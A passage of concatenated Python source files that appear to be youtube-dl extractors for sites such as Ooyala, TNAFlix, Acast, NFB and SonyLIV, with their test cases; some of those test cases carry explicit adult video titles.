        metadata = content_tree[list(content_tree)[0]]
        embed_code = metadata['embed_code']
        pcode = metadata.get('asset_pcode') or embed_code
        title = metadata['title']

        auth_data = self._download_json(
            self._AUTHORIZATION_URL_TEMPLATE % (pcode, embed_code) +
            compat_urllib_parse_urlencode({
                'domain': domain,
                'supportedFormats': 'mp4,rtmp,m3u8,hds',
            }), video_id)

        cur_auth_data = auth_data['authorization_data'][embed_code]

        urls = []
        formats = []
        if cur_auth_data['authorized']:
            for stream in cur_auth_data['streams']:
                s_url = base64.b64decode(
                    stream['url']['data'].encode('ascii')).decode('utf-8')
                if s_url in urls:
                    continue
                urls.append(s_url)
                ext = determine_ext(s_url, None)
                delivery_type = stream['delivery_type']
                if delivery_type == 'hls' or ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        s_url, embed_code, 'mp4', 'm3u8_native',
                        m3u8_id='hls', fatal=False))
                elif delivery_type == 'hds' or ext == 'f4m':
                    formats.extend(self._extract_f4m_formats(
                        s_url + '?hdcore=3.7.0', embed_code, f4m_id='hds', fatal=False))
                elif ext == 'smil':
                    formats.extend(self._extract_smil_formats(
                        s_url, embed_code, fatal=False))
                else:
                    formats.append({
                        'url': s_url,
                        'ext': ext or stream.get('delivery_type'),
                        'vcodec': stream.get('video_codec'),
                        'format_id': delivery_type,
                        'width': int_or_none(stream.get('width')),
                        'height': int_or_none(stream.get('height')),
                        'abr': int_or_none(stream.get('audio_bitrate')),
                        'vbr': int_or_none(stream.get('video_bitrate')),
                        'fps': float_or_none(stream.get('framerate')),
                    })
        else:
            raise ExtractorError('%s said: %s' % (
                self.IE_NAME, cur_auth_data['message']), expected=True)
        self._sort_formats(formats)

        subtitles = {}
        for lang, sub in metadata.get('closed_captions_vtt', {}).get('captions', {}).items():
            sub_url = sub.get('url')
            if not sub_url:
                continue
            subtitles[lang] = [{
                'url': sub_url,
            }]

        return {
            'id': embed_code,
            'title': title,
            'description': metadata.get('description'),
            'thumbnail': metadata.get('thumbnail_image') or metadata.get('promo_image'),
            'duration': float_or_none(metadata.get('duration'), 1000),
            'subtitles': subtitles,
            'formats': formats,
        }


class OoyalaIE(OoyalaBaseIE):
    _VALID_URL = r'(?:ooyala:|https?://.+?\.ooyala\.com/.*?(?:embedCode|ec)=)(?P<id>.+?)(&|$)'

    _TESTS = [
        {
            # From http://it.slashdot.org/story/13/04/25/178216/recovering-data-from-broken-hard-drives-and-ssds-video
            'url': 'http://player.ooyala.com/player.js?embedCode=pxczE2YjpfHfn1f3M-ykG_AmJRRn0PD8',
            'info_dict': {
                'id': 'pxczE2YjpfHfn1f3M-ykG_AmJRRn0PD8',
                'ext': 'mp4',
                'title': 'Explaining Data Recovery from Hard Drives and SSDs',
                'description': 'How badly damaged does a drive have to be to defeat Russell and his crew? Apparently, smashed to bits.',
                'duration': 853.386,
            },
            # The video in the original webpage now uses PlayWire
            'skip': 'Ooyala said: movie expired',
        }, {
            # Only available for ipad
            'url': 'http://player.ooyala.com/player.js?embedCode=x1b3lqZDq9y_7kMyC2Op5qo-p077tXD0',
            'info_dict': {
                'id': 'x1b3lqZDq9y_7kMyC2Op5qo-p077tXD0',
                'ext': 'mp4',
                'title': 'Simulation Overview - Levels of Simulation',
                'duration': 194.948,
            },
        },
        {
            # Information available only through SAS api
            # From http://community.plm.automation.siemens.com/t5/News-NX-Manufacturing/Tool-Path-Divide/ba-p/4187
            'url': 'http://player.ooyala.com/player.js?embedCode=FiOG81ZTrvckcchQxmalf4aQj590qTEx',
            'md5': 'a84001441b35ea492bc03736e59e7935',
            'info_dict': {
                'id': 'FiOG81ZTrvckcchQxmalf4aQj590qTEx',
                'ext': 'mp4',
                'title': 'Divide Tool Path.mp4',
                'duration': 204.405,
            }
        }
    ]

    @staticmethod
    def _url_for_embed_code(embed_code):
        return 'http://player.ooyala.com/player.js?embedCode=%s' % embed_code

    @classmethod
    def _build_url_result(cls, embed_code):
        return cls.url_result(cls._url_for_embed_code(embed_code),
                              ie=cls.ie_key())

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})
        embed_code = self._match_id(url)
        domain = smuggled_data.get('domain')
        content_tree_url = self._CONTENT_TREE_BASE + 'embed_code/%s/%s' % (embed_code, embed_code)
        return self._extract(content_tree_url, embed_code, domain)


class OoyalaExternalIE(OoyalaBaseIE):
    _VALID_URL = r'''(?x)
                    (?:
                        ooyalaexternal:|
                        https?://.+?\.ooyala\.com/.*?\bexternalId=
                    )
                    (?P<partner_id>[^:]+)
                    :
                    (?P<id>.+)
                    (?:
                        :|
                        .*?&pcode=
                    )
                    (?P<pcode>.+?)
                    (?:&|$)
                    '''

    _TEST = {
        'url': 'https://player.ooyala.com/player.js?externalId=espn:10365079&pcode=1kNG061cgaoolOncv54OAO1ceO-I&adSetCode=91cDU6NuXTGKz3OdjOxFdAgJVtQcKJnI&callback=handleEvents&hasModuleParams=1&height=968&playerBrandingId=7af3bd04449c444c964f347f11873075&targetReplaceId=videoPlayer&width=1656&wmode=opaque&allowScriptAccess=always',
        'info_dict': {
            'id': 'FkYWtmazr6Ed8xmvILvKLWjd4QvYZpzG',
            'ext': 'mp4',
            'title': 'dm_140128_30for30Shorts___JudgingJewellv2',
            'duration': 1302.0,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        partner_id, video_id, pcode = re.match(self._VALID_URL, url).groups()
        content_tree_url = self._CONTENT_TREE_BASE + 'external_id/%s/%s:%s' % (pcode, partner_id, video_id)
        return self._extract(content_tree_url, video_id)






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class VideofyMeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.videofy\.me/.+?|p\.videofy\.me/v)/(?P<id>\d+)(&|#|$)'
    IE_NAME = 'videofy.me'

    _TEST = {
        'url': 'http://www.videofy.me/thisisvideofyme/1100701',
        'md5': 'c77d700bdc16ae2e9f3c26019bd96143',
        'info_dict': {
            'id': '1100701',
            'ext': 'mp4',
            'title': 'This is VideofyMe',
            'description': '',
            'upload_date': '20130326',
            'timestamp': 1364288959,
            'uploader': 'VideofyMe',
            'uploader_id': 'thisisvideofyme',
            'view_count': int,
            'likes': int,
            'comment_count': int,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        config = self._download_json('http://vf-player-info-loader.herokuapp.com/%s.json' % video_id, video_id)['videoinfo']

        video = config.get('video')
        blog = config.get('blog', {})

        return {
            'id': video_id,
            'title': video['title'],
            'url': video['sources']['source']['url'],
            'thumbnail': video.get('thumb'),
            'description': video.get('description'),
            'timestamp': parse_iso8601(video.get('date')),
            'uploader': blog.get('name'),
            'uploader_id': blog.get('identifier'),
            'view_count': int_or_none(self._search_regex(r'([0-9]+)', video.get('views'), 'view count', fatal=False)),
            'likes': int_or_none(video.get('likes')),
            'comment_count': int_or_none(video.get('nrOfComments')),
        }






from __future__ import unicode_literals

import re
import base64

from .common import InfoExtractor
from ..utils import (
    unified_strdate,
    int_or_none,
)


class VideoTtIE(InfoExtractor):
    _WORKING = False
    ID_NAME = 'video.tt'
    IE_DESC = 'video.tt - Your True Tube'
    _VALID_URL = r'https?://(?:www\.)?video\.tt/(?:(?:video|embed)/|watch_video\.php\?v=)(?P<id>[\da-zA-Z]{9})'

    _TESTS = [{
        'url': 'http://www.video.tt/watch_video.php?v=amd5YujV8',
        'md5': 'b13aa9e2f267effb5d1094443dff65ba',
        'info_dict': {
            'id': 'amd5YujV8',
            'ext': 'flv',
            'title': 'Motivational video Change your mind in just 2.50 mins',
            'description': '',
            'upload_date': '20130827',
            'uploader': 'joseph313',
        }
    }, {
        'url': 'http://video.tt/embed/amd5YujV8',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        settings = self._download_json(
            'http://www.video.tt/player_control/settings.php?v=%s' % video_id, video_id,
            'Downloading video JSON')['settings']

        video = settings['video_details']['video']

        formats = [
            {
                'url': base64.b64decode(res['u'].encode('utf-8')).decode('utf-8'),
                'ext': 'flv',
                'format_id': res['l'],
            } for res in settings['res'] if res['u']
        ]

        return {
            'id': video_id,
            'title': video['title'],
            'description': video['description'],
            'thumbnail': settings['config']['thumbnail'],
            'upload_date': unified_strdate(video['added']),
            'uploader': video['owner'],
            'view_count': int_or_none(video['view_count']),
            'comment_count': None if video.get('comment_count') == '--' else int_or_none(video['comment_count']),
            'like_count': int_or_none(video['liked']),
            'dislike_count': int_or_none(video['disliked']),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class RockstarGamesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?rockstargames\.com/videos(?:/video/|#?/?\?.*\bvideo=)(?P<id>\d+)'
    _TESTS = [{
        'url': 'https://www.rockstargames.com/videos/video/11544/',
        'md5': '03b5caa6e357a4bd50e3143fc03e5733',
        'info_dict': {
            'id': '11544',
            'ext': 'mp4',
            'title': 'Further Adventures in Finance and Felony Trailer',
            'description': 'md5:6d31f55f30cb101b5476c4a379e324a3',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1464876000,
            'upload_date': '20160602',
        }
    }, {
        'url': 'http://www.rockstargames.com/videos#/?video=48',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'https://www.rockstargames.com/videoplayer/videos/get-video.json',
            video_id, query={
                'id': video_id,
                'locale': 'en_us',
            })['video']

        title = video['title']

        formats = []
        for video in video['files_processed']['video/mp4']:
            if not video.get('src'):
                continue
            resolution = video.get('resolution')
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]$', resolution or '', 'height', default=None))
            formats.append({
                'url': self._proto_relative_url(video['src']),
                'format_id': resolution,
                'height': height,
            })

        if not formats:
            youtube_id = video.get('youtube_id')
            if youtube_id:
                return self.url_result(youtube_id, 'Youtube')

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': video.get('description'),
            'thumbnail': self._proto_relative_url(video.get('screencap')),
            'timestamp': parse_iso8601(video.get('created')),
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    fix_xml_ampersands,
    float_or_none,
    int_or_none,
    parse_duration,
    str_to_int,
    xpath_text,
)


class TNAFlixNetworkBaseIE(InfoExtractor):
    # May be overridden in descendants if necessary
    _CONFIG_REGEX = [
        r'flashvars\.config\s*=\s*escape\("([^"]+)"',
        r'<input[^>]+name="config\d?" value="([^"]+)"',
    ]
    _TITLE_REGEX = r'<input[^>]+name="title" value="([^"]+)"'
    _DESCRIPTION_REGEX = r'<input[^>]+name="description" value="([^"]+)"'
    _UPLOADER_REGEX = r'<input[^>]+name="username" value="([^"]+)"'
    _VIEW_COUNT_REGEX = None
    _COMMENT_COUNT_REGEX = None
    _AVERAGE_RATING_REGEX = None
    _CATEGORIES_REGEX = r'<li[^>]*>\s*<span[^>]+class="infoTitle"[^>]*>Categories:</span>\s*<span[^>]+class="listView"[^>]*>(.+?)</span>\s*</li>'

    def _extract_thumbnails(self, flix_xml):

        def get_child(elem, names):
            for name in names:
                child = elem.find(name)
                if child is not None:
                    return child

        timeline = get_child(flix_xml, ['timeline', 'rolloverBarImage'])
        if timeline is None:
            return

        pattern_el = get_child(timeline, ['imagePattern', 'pattern'])
        if pattern_el is None or not pattern_el.text:
            return

        first_el = get_child(timeline, ['imageFirst', 'first'])
        last_el = get_child(timeline, ['imageLast', 'last'])
        if first_el is None or last_el is None:
            return

        first_text = first_el.text
        last_text = last_el.text
        if not first_text.isdigit() or not last_text.isdigit():
            return

        first = int(first_text)
        last = int(last_text)
        if first > last:
            return

        width = int_or_none(xpath_text(timeline, './imageWidth', 'thumbnail width'))
        height = int_or_none(xpath_text(timeline, './imageHeight', 'thumbnail height'))

        return [{
            'url': self._proto_relative_url(pattern_el.text.replace('#', compat_str(i)), 'http:'),
            'width': width,
            'height': height,
        } for i in range(first, last + 1)]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') if 'display_id' in mobj.groupdict() else video_id

        webpage = self._download_webpage(url, display_id)

        cfg_url = self._proto_relative_url(self._html_search_regex(
            self._CONFIG_REGEX, webpage, 'flashvars.config', default=None), 'http:')

        if not cfg_url:
            inputs = self._hidden_inputs(webpage)
            cfg_url = 'https://cdn-fck.tnaflix.com/tnaflix/%s.fid?key=%s' % (inputs['vkey'], inputs['nkey'])

        cfg_xml = self._download_xml(
            cfg_url, display_id, 'Downloading metadata',
            transform_source=fix_xml_ampersands)

        formats = []

        def extract_video_url(vl):
            return re.sub('speed=\d+', 'speed=', vl.text)

        video_link = cfg_xml.find('./videoLink')
        if video_link is not None:
            formats.append({
                'url': extract_video_url(video_link),
                'ext': xpath_text(cfg_xml, './videoConfig/type', 'type', default='flv'),
            })

        for item in cfg_xml.findall('./quality/item'):
            video_link = item.find('./videoLink')
            if video_link is None:
                continue
            res = item.find('res')
            format_id = None if res is None else res.text
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]', format_id, 'height', default=None))
            formats.append({
                'url': self._proto_relative_url(extract_video_url(video_link), 'http:'),
                'format_id': format_id,
                'height': height,
            })

        self._sort_formats(formats)

        thumbnail = self._proto_relative_url(
            xpath_text(cfg_xml, './startThumb', 'thumbnail'), 'http:')
        thumbnails = self._extract_thumbnails(cfg_xml)

        title = None
        if self._TITLE_REGEX:
            title = self._html_search_regex(
                self._TITLE_REGEX, webpage, 'title', default=None)
        if not title:
            title = self._og_search_title(webpage)

        age_limit = self._rta_search(webpage) or 18

        duration = parse_duration(self._html_search_meta(
            'duration', webpage, 'duration', default=None))

        def extract_field(pattern, name):
            return self._html_search_regex(pattern, webpage, name, default=None) if pattern else None

        description = extract_field(self._DESCRIPTION_REGEX, 'description')
        uploader = extract_field(self._UPLOADER_REGEX, 'uploader')
        view_count = str_to_int(extract_field(self._VIEW_COUNT_REGEX, 'view count'))
        comment_count = str_to_int(extract_field(self._COMMENT_COUNT_REGEX, 'comment count'))
        average_rating = float_or_none(extract_field(self._AVERAGE_RATING_REGEX, 'average rating'))

        categories_str = extract_field(self._CATEGORIES_REGEX, 'categories')
        categories = [c.strip() for c in categories_str.split(',')] if categories_str is not None else []

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'thumbnails': thumbnails,
            'duration': duration,
            'age_limit': age_limit,
            'uploader': uploader,
            'view_count': view_count,
            'comment_count': comment_count,
            'average_rating': average_rating,
            'categories': categories,
            'formats': formats,
        }


class TNAFlixNetworkEmbedIE(TNAFlixNetworkBaseIE):
    _VALID_URL = r'https?://player\.(?:tna|emp)flix\.com/video/(?P<id>\d+)'

    _TITLE_REGEX = r'<title>([^<]+)</title>'

    _TESTS = [{
        'url': 'https://player.tnaflix.com/video/6538',
        'info_dict': {
            'id': '6538',
            'display_id': '6538',
            'ext': 'mp4',
            'title': 'Educational xxx video',
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'https://player.empflix.com/video/33051',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_urls(webpage):
        return [url for _, url in re.findall(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//player\.(?:tna|emp)flix\.com/video/\d+)\1',
            webpage)]


class TNAFlixIE(TNAFlixNetworkBaseIE):
    _VALID_URL = r'https?://(?:www\.)?tnaflix\.com/[^/]+/(?P<display_id>[^/]+)/video(?P<id>\d+)'

    _TITLE_REGEX = r'<title>(.+?) - (?:TNAFlix Porn Videos|TNAFlix\.com)</title>'
    _DESCRIPTION_REGEX = r'(?s)>Description:</[^>]+>(.+?)<'
    _UPLOADER_REGEX = r'<i>\s*Verified Member\s*</i>\s*<h\d+>(.+?)<'
    _CATEGORIES_REGEX = r'(?s)<span[^>]*>Categories:</span>(.+?)</div>'

    _TESTS = [{
        # anonymous uploader, no categories
        'url': 'http://www.tnaflix.com/porn-stars/Carmella-Decesare-striptease/video553878',
        'md5': '7e569419fe6d69543d01e6be22f5f7c4',
        'info_dict': {
            'id': '553878',
            'display_id': 'Carmella-Decesare-striptease',
            'ext': 'mp4',
            'title': 'Carmella Decesare - striptease',
            'thumbnail': 're:https?://.*\.jpg$',
            'duration': 91,
            'age_limit': 18,
            'categories': ['Porn Stars'],
        }
    }, {
        # non-anonymous uploader, categories
        'url': 'https://www.tnaflix.com/teen-porn/Educational-xxx-video/video6538',
        'md5': 'fcba2636572895aba116171a899a5658',
        'info_dict': {
            'id': '6538',
            'display_id': 'Educational-xxx-video',
            'ext': 'flv',
            'title': 'Educational xxx video',
            'description': 'md5:b4fab8f88a8621c8fabd361a173fe5b8',
            'thumbnail': 're:https?://.*\.jpg$',
            'duration': 164,
            'age_limit': 18,
            'uploader': 'bobwhite39',
            'categories': ['Amateur Porn', 'Squirting Videos', 'Teen Girls 18+'],
        }
    }, {
        'url': 'https://www.tnaflix.com/amateur-porn/bunzHD-Ms.Donk/video358632',
        'only_matching': True,
    }]


class EMPFlixIE(TNAFlixNetworkBaseIE):
    _VALID_URL = r'https?://(?:www\.)?empflix\.com/videos/(?P<display_id>.+?)-(?P<id>[0-9]+)\.html'

    _UPLOADER_REGEX = r'<span[^>]+class="infoTitle"[^>]*>Uploaded By:</span>(.+?)</li>'

    _TESTS = [{
        'url': 'http://www.empflix.com/videos/Amateur-Finger-Fuck-33051.html',
        'md5': 'b1bc15b6412d33902d6e5952035fcabc',
        'info_dict': {
            'id': '33051',
            'display_id': 'Amateur-Finger-Fuck',
            'ext': 'mp4',
            'title': 'Amateur Finger Fuck',
            'description': 'Amateur solo finger fucking.',
            'thumbnail': 're:https?://.*\.jpg$',
            'duration': 83,
            'age_limit': 18,
            'uploader': 'cwbike',
            'categories': ['Amateur', 'Anal', 'Fisting', 'Home made', 'Solo'],
        }
    }, {
        'url': 'http://www.empflix.com/videos/[AROMA][ARMD-718]-Aoi-Yoshino-Sawa-25826.html',
        'only_matching': True,
    }]


class MovieFapIE(TNAFlixNetworkBaseIE):
    _VALID_URL = r'https?://(?:www\.)?moviefap\.com/videos/(?P<id>[0-9a-f]+)/(?P<display_id>[^/]+)\.html'

    _VIEW_COUNT_REGEX = r'<br>Views\s*<strong>([\d,.]+)</strong>'
    _COMMENT_COUNT_REGEX = r'<span[^>]+id="comCount"[^>]*>([\d,.]+)</span>'
    _AVERAGE_RATING_REGEX = r'Current Rating\s*<br>\s*<strong>([\d.]+)</strong>'
    _CATEGORIES_REGEX = r'(?s)<div[^>]+id="vid_info"[^>]*>\s*<div[^>]*>.+?</div>(.*?)<br>'

    _TESTS = [{
        # normal, multi-format video
        'url': 'http://www.moviefap.com/videos/be9867c9416c19f54a4a/experienced-milf-amazing-handjob.html',
        'md5': '26624b4e2523051b550067d547615906',
        'info_dict': {
            'id': 'be9867c9416c19f54a4a',
            'display_id': 'experienced-milf-amazing-handjob',
            'ext': 'mp4',
            'title': 'Experienced MILF Amazing Handjob',
            'description': 'Experienced MILF giving an Amazing Handjob',
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
            'uploader': 'darvinfred06',
            'view_count': int,
            'comment_count': int,
            'average_rating': float,
            'categories': ['Amateur', 'Masturbation', 'Mature', 'Flashing'],
        }
    }, {
        # quirky single-format case where the extension is given as fid, but the video is really an flv
        'url': 'http://www.moviefap.com/videos/e5da0d3edce5404418f5/jeune-couple-russe.html',
        'md5': 'fa56683e291fc80635907168a743c9ad',
        'info_dict': {
            'id': 'e5da0d3edce5404418f5',
            'display_id': 'jeune-couple-russe',
            'ext': 'flv',
            'title': 'Jeune Couple Russe',
            'description': 'Amateur',
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
            'uploader': 'whiskeyjar',
            'view_count': int,
            'comment_count': int,
            'average_rating': float,
            'categories': ['Amateur', 'Teen'],
        }
    }]






# coding: utf-8
from __future__ import unicode_literals

import re
import functools

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    OnDemandPagedList,
)


class ACastIE(InfoExtractor):
    IE_NAME = 'acast'
    _VALID_URL = r'https?://(?:www\.)?acast\.com/(?P<channel>[^/]+)/(?P<id>[^/#?]+)'
    _TEST = {
        'url': 'https://www.acast.com/condenasttraveler/-where-are-you-taipei-101-taiwan',
        'md5': 'ada3de5a1e3a2a381327d749854788bb',
        'info_dict': {
            'id': '57de3baa-4bb0-487e-9418-2692c1277a34',
            'ext': 'mp3',
            'title': '"Where Are You?": Taipei 101, Taiwan',
            'timestamp': 1196172000000,
            'description': 'md5:a0b4ef3634e63866b542e5b1199a1a0e',
            'duration': 211,
        }
    }

    def _real_extract(self, url):
        channel, display_id = re.match(self._VALID_URL, url).groups()
        cast_data = self._download_json(
            'https://embed.acast.com/api/acasts/%s/%s' % (channel, display_id), display_id)
        return {
            'id': compat_str(cast_data['id']),
            'display_id': display_id,
            'url': cast_data['blings'][0]['audio'],
            'title': cast_data['name'],
            'description': cast_data.get('description'),
            'thumbnail': cast_data.get('image'),
            'timestamp': int_or_none(cast_data.get('publishingDate')),
            'duration': int_or_none(cast_data.get('duration')),
        }


class ACastChannelIE(InfoExtractor):
    IE_NAME = 'acast:channel'
    _VALID_URL = r'https?://(?:www\.)?acast\.com/(?P<id>[^/#?]+)'
    _TEST = {
        'url': 'https://www.acast.com/condenasttraveler',
        'info_dict': {
            'id': '50544219-29bb-499e-a083-6087f4cb7797',
            'title': 'Condé Nast Traveler Podcast',
            'description': 'md5:98646dee22a5b386626ae31866638fbd',
        },
        'playlist_mincount': 20,
    }
    _API_BASE_URL = 'https://www.acast.com/api/'
    _PAGE_SIZE = 10

    @classmethod
    def suitable(cls, url):
        return False if ACastIE.suitable(url) else super(ACastChannelIE, cls).suitable(url)

    def _fetch_page(self, channel_slug, page):
        casts = self._download_json(
            self._API_BASE_URL + 'channels/%s/acasts?page=%s' % (channel_slug, page),
            channel_slug, note='Download page %d of channel data' % page)
        for cast in casts:
            yield self.url_result(
                'https://www.acast.com/%s/%s' % (channel_slug, cast['url']),
                'ACast', cast['id'])

    def _real_extract(self, url):
        channel_slug = self._match_id(url)
        channel_data = self._download_json(
            self._API_BASE_URL + 'channels/%s' % channel_slug, channel_slug)
        entries = OnDemandPagedList(functools.partial(
            self._fetch_page, channel_slug), self._PAGE_SIZE)
        return self.playlist_result(entries, compat_str(
            channel_data['id']), channel_data['name'], channel_data.get('description'))






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class PeopleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?people\.com/people/videos/0,,(?P<id>\d+),00\.html'

    _TEST = {
        'url': 'http://www.people.com/people/videos/0,,20995451,00.html',
        'info_dict': {
            'id': 'ref:20995451',
            'ext': 'mp4',
            'title': 'Astronaut Love Triangle Victim Speaks Out: “The Crime in 2007 Hasn’t Defined Us”',
            'description': 'Colleen Shipman speaks to PEOPLE for the first time about life after the attack',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 246.318,
            'timestamp': 1458720585,
            'upload_date': '20160323',
            'uploader_id': '416418724',
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['BrightcoveNew'],
    }

    def _real_extract(self, url):
        return self.url_result(
            'http://players.brightcove.net/416418724/default_default/index.html?videoId=ref:%s'
            % self._match_id(url), 'BrightcoveNew')






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    clean_html,
    determine_ext,
    int_or_none,
    qualities,
    urlencode_postdata,
    xpath_text,
)


class NFBIE(InfoExtractor):
    IE_NAME = 'nfb'
    IE_DESC = 'National Film Board of Canada'
    _VALID_URL = r'https?://(?:www\.)?(?:nfb|onf)\.ca/film/(?P<id>[\da-z_-]+)'

    _TEST = {
        'url': 'https://www.nfb.ca/film/qallunaat_why_white_people_are_funny',
        'info_dict': {
            'id': 'qallunaat_why_white_people_are_funny',
            'ext': 'flv',
            'title': 'Qallunaat! Why White People Are Funny ',
            'description': 'md5:6b8e32dde3abf91e58857b174916620c',
            'duration': 3128,
            'creator': 'Mark Sandiford',
            'uploader': 'Mark Sandiford',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        config = self._download_xml(
            'https://www.nfb.ca/film/%s/player_config' % video_id,
            video_id, 'Downloading player config XML',
            data=urlencode_postdata({'getConfig': 'true'}),
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'X-NFB-Referer': 'http://www.nfb.ca/medias/flash/NFBVideoPlayer.swf'
            })

        title, description, thumbnail, duration, uploader, author = [None] * 6
        thumbnails, formats = [[]] * 2
        subtitles = {}

        for media in config.findall('./player/stream/media'):
            if media.get('type') == 'posterImage':
                quality_key = qualities(('low', 'high'))
                thumbnails = []
                for asset in media.findall('assets/asset'):
                    asset_url = xpath_text(asset, 'default/url', default=None)
                    if not asset_url:
                        continue
                    quality = asset.get('quality')
                    thumbnails.append({
                        'url': asset_url,
                        'id': quality,
                        'preference': quality_key(quality),
                    })
            elif media.get('type') == 'video':
                title = xpath_text(media, 'title', fatal=True)
                for asset in media.findall('assets/asset'):
                    quality = asset.get('quality')
                    height = int_or_none(self._search_regex(
                        r'^(\d+)[pP]$', quality or '', 'height', default=None))
                    for node in asset:
                        streamer = xpath_text(node, 'streamerURI', default=None)
                        if not streamer:
                            continue
                        play_path = xpath_text(node, 'url', default=None)
                        if not play_path:
                            continue
                        formats.append({
                            'url': streamer,
                            'app': streamer.split('/', 3)[3],
                            'play_path': play_path,
                            'rtmp_live': False,
                            'ext': 'flv',
                            'format_id': '%s-%s' % (node.tag, quality) if quality else node.tag,
                            'height': height,
                        })
                self._sort_formats(formats)
                description = clean_html(xpath_text(media, 'description'))
                uploader = xpath_text(media, 'author')
                duration = int_or_none(media.get('duration'))
                for subtitle in media.findall('./subtitles/subtitle'):
                    subtitle_url = xpath_text(subtitle, 'url', default=None)
                    if not subtitle_url:
                        continue
                    lang = xpath_text(subtitle, 'lang', default='en')
                    subtitles.setdefault(lang, []).append({
                        'url': subtitle_url,
                        'ext': (subtitle.get('format') or determine_ext(subtitle_url)).lower(),
                    })

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'duration': duration,
            'creator': uploader,
            'uploader': uploader,
            'formats': formats,
            'subtitles': subtitles,
        }






from __future__ import unicode_literals

from .mtv import MTVIE
from ..utils import ExtractorError


class CMTIE(MTVIE):
    IE_NAME = 'cmt.com'
    _VALID_URL = r'https?://www\.cmt\.com/(?:videos|shows)/(?:[^/]+/)*(?P<videoid>\d+)'
    _FEED_URL = 'http://www.cmt.com/sitewide/apps/player/embed/rss/'

    _TESTS = [{
        'url': 'http://www.cmt.com/videos/garth-brooks/989124/the-call-featuring-trisha-yearwood.jhtml#artist=30061',
        'md5': 'e6b7ef3c4c45bbfae88061799bbba6c2',
        'info_dict': {
            'id': '989124',
            'ext': 'mp4',
            'title': 'Garth Brooks - "The Call (featuring Trisha Yearwood)"',
            'description': 'Blame It All On My Roots',
        },
        'skip': 'Video not available',
    }, {
        'url': 'http://www.cmt.com/videos/misc/1504699/still-the-king-ep-109-in-3-minutes.jhtml#id=1739908',
        'md5': 'e61a801ca4a183a466c08bd98dccbb1c',
        'info_dict': {
            'id': '1504699',
            'ext': 'mp4',
            'title': 'Still The King Ep. 109 in 3 Minutes',
            'description': 'Relive or catch up with Still The King by watching this recap of season 1, episode 9. New episodes Sundays 9/8c.',
            'timestamp': 1469421000.0,
            'upload_date': '20160725',
        },
    }, {
        'url': 'http://www.cmt.com/shows/party-down-south/party-down-south-ep-407-gone-girl/1738172/playlist/#id=1738172',
        'only_matching': True,
    }]

    @classmethod
    def _transform_rtmp_url(cls, rtmp_video_url):
        if 'error_not_available.swf' in rtmp_video_url:
            raise ExtractorError(
                '%s said: video is not available' % cls.IE_NAME, expected=True)

        return super(CMTIE, cls)._transform_rtmp_url(rtmp_video_url)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class SonyLIVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?sonyliv\.com/details/[^/]+/(?P<id>\d+)'
    _TESTS = [{
        'url': "http://www.sonyliv.com/details/episodes/5024612095001/Ep.-1---Achaari-Cheese-Toast---Bachelor's-Delight",
        'info_dict': {
            'title': "Ep. 1 - Achaari Cheese Toast - Bachelor's Delight",
            'id': '5024612095001',
            'ext': 'mp4',
            'upload_date': '20160707',
            'description': 'md5:7f28509a148d5be9d0782b4d5106410d',
            'uploader_id': '4338955589001',
            'timestamp': 1467870968,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['BrightcoveNew'],
    }, {
        'url': 'http://www.sonyliv.com/details/full%20movie/4951168986001/Sei-Raat-(Bangla)',
        'only_matching': True,
    }]

    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/4338955589001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        brightcove_id = self._match_id(url)
        return self.url_result(
            self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    float_or_none,
    sanitized_Request,
    urlencode_postdata,
)


class CeskaTelevizeIE(InfoExtractor):
